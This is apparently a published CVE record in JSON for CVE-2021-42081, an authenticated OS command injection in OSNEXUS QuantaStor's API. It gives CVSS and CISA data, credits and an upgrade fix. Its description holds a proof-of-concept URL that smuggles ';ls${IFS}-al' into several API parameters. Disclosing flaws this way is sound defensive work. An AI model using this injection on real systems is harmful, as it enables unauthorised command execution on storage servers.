242 lines
9.2 KiB
JSON
242 lines
9.2 KiB
JSON
{
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"dataType": "CVE_RECORD",
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"dataVersion": "5.1",
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"cveMetadata": {
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"cveId": "CVE-2021-42081",
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"assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217",
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"state": "PUBLISHED",
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"assignerShortName": "DIVD",
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"dateReserved": "2021-10-07T17:12:57.678Z",
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"datePublished": "2023-07-10T06:29:48.514Z",
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"dateUpdated": "2025-09-22T06:40:06.104Z"
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},
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"containers": {
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"cna": {
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"affected": [
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{
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"defaultStatus": "unknown",
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"product": "QuantaStor",
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"vendor": "OSNEXUS",
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"versions": [
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{
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"lessThan": "6.0.0.355",
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"status": "affected",
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"version": "0",
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"versionType": "semver"
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}
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]
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}
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],
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"credits": [
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{
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"lang": "en",
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"type": "finder",
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"user": "00000000-0000-4000-9000-000000000000",
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"value": "Wietse Boonstra (DIVD)"
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},
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{
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"lang": "en",
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"type": "analyst",
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"value": "Frank Breedijk (DIVD)"
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},
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{
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"lang": "en",
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"type": "analyst",
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"value": "Victor Pasman (DIVD)"
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},
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{
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"lang": "en",
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"type": "analyst",
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"value": "Victor Gevers (DIVD)"
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},
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{
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"lang": "en",
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"type": "analyst",
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"value": "Max van der Horst (DIVD)"
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},
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{
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"lang": "en",
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"type": "analyst",
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"value": "Célistine Oosting (DIVD)"
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}
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],
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"descriptions": [
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{
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"lang": "en",
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"supportingMedia": [
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{
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"base64": false,
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"type": "text/html",
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"value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.<br><br>POC<br><tt>http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al</tt>"
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}
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],
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"value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al"
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}
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],
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"metrics": [
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{
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"cvssV3_1": {
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"attackComplexity": "LOW",
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"attackVector": "NETWORK",
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"availabilityImpact": "HIGH",
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"baseScore": 9.1,
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"baseSeverity": "CRITICAL",
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"confidentialityImpact": "HIGH",
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"integrityImpact": "HIGH",
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"privilegesRequired": "HIGH",
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"scope": "CHANGED",
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"userInteraction": "NONE",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
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"version": "3.1"
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},
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"format": "CVSS",
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"scenarios": [
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{
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"lang": "en",
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"value": "GENERAL"
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}
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]
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}
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],
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"problemTypes": [
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{
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"descriptions": [
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{
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"cweId": "CWE-78",
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"description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
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"lang": "en",
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"type": "CWE"
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}
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]
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}
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],
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"providerMetadata": {
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"orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217",
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"shortName": "DIVD",
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"dateUpdated": "2025-09-22T06:40:06.104Z"
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},
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"references": [
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{
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"tags": [
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"third-party-advisory",
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"technical-description",
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"exploit"
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],
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"url": "https://www.wbsec.nl/osnexus"
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},
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{
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"tags": [
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"third-party-advisory"
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],
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"url": "https://csirt.divd.nl/DIVD-2021-00020/"
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},
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{
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"tags": [
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"product"
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],
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"url": "https://www.osnexus.com/products/software-defined-storage"
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},
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{
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"tags": [
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"third-party-advisory",
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"technical-description",
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"exploit"
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],
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"url": "https://csirt.divd.nl/CVE-2021-42081"
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}
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],
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"solutions": [
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{
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"lang": "en",
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"supportingMedia": [
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{
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"base64": false,
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"type": "text/html",
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"value": "Upgrade to the latest version of OSNEXUS QuantaStor."
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}
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],
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"value": "Upgrade to the latest version of OSNEXUS QuantaStor."
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}
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],
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"source": {
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"discovery": "UNKNOWN"
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},
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"title": "Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355",
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"x_generator": {
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"engine": "Vulnogram 0.1.0-dev"
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}
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},
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"adp": [
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{
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"providerMetadata": {
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"orgId": "af854a3a-2127-422b-91ae-364da2661108",
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"shortName": "CVE",
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"dateUpdated": "2024-08-04T03:22:25.989Z"
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},
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"title": "CVE Program Container",
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"references": [
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{
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"url": "https://www.wbsec.nl/osnexus",
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"tags": [
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"third-party-advisory",
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"x_transferred"
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]
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},
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{
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"url": "https://www.divd.nl/DIVD-2021-00020",
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"tags": [
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"third-party-advisory",
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"x_transferred"
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]
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},
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{
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"url": "https://www.osnexus.com/products/software-defined-storage",
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"tags": [
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"product",
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"x_transferred"
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]
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},
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{
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"url": "https://csirt.divd.nl/CVE-2021-42081",
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"tags": [
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"third-party-advisory",
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"x_transferred"
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]
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}
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]
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},
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{
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"metrics": [
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{
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"other": {
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"type": "ssvc",
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"content": {
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"timestamp": "2024-11-12T14:14:48.828227Z",
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"id": "CVE-2021-42081",
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"options": [
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{
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"Exploitation": "none"
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},
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{
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"Automatable": "no"
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},
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{
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"Technical Impact": "total"
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}
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],
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"role": "CISA Coordinator",
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"version": "2.0.3"
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}
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}
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}
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],
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"title": "CISA ADP Vulnrichment",
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"providerMetadata": {
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"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
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"shortName": "CISA-ADP",
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"dateUpdated": "2024-11-12T14:15:41.770Z"
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}
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}
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]
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}
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} |